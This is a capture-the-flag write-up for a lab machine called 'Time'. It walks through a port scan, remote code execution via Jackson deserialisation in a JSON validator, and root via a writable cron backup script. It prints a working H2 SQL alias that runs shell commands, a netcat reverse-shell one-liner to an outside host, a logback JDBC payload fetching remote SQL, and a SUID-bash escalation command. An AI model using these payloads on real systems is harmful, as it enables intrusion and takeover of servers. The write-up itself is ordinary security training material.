Time

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.85.102
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-02 10:05 EDT
Warning: 10.129.85.102 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.85.102
Host is up (0.039s latency).
Not shown: 45364 closed tcp ports (conn-refused), 20169 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

JSON Beautifier

Port 80 was running a JSON Beautifier:

This would accept JSON inputs, but I had no idea what kind of engine this was using. There were 2 modes to this: Beautify and Validate, of which the latter was in Beta. I tried sending some random input and managed to trigger an error:

We can view the rest of this error either in Burp or by examining the page source.

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

So this was using a software called Jackson to validate JSON input. Googling for exploits led me to some deserialisation related exploits where we could achieve RCE. Here's the PoC I used:

We first need to create a reverse shell in SQL interestingly:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 4444 >/tmp/f')

Afterwards, we need to send this input to the application to be parsed:

[
"ch.qos.logback.core.db.DriverManagerConnectionSource",
{
"url": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http:\/\/10.10.14.13\/exploit.sql'"
}
]

When we send this, it would download the file and give us a reverse shell.

Privilege Escalation

GetText

I ran a LinPEAS scan for enumeration. Within the output, this caught my eye:

[+] .sh files in path
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path      
/usr/bin/gettext.sh                                                                          
You own the script: /usr/bin/timer_backup.sh
/usr/bin/rescan-scsi-bus.sh

It seems that we own a script or something. Since this is within the system's PATH variable, we can just edit it. Here's the content of the script:

#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip

This looks like something that the root user would have on a cronjob. As such, we can just append chmod u+s /bin/bash to the script. 

pericles@time:/usr/bin$ echo 'chmod u+s /bin/bash' >> timer_backup.sh

Easy root!

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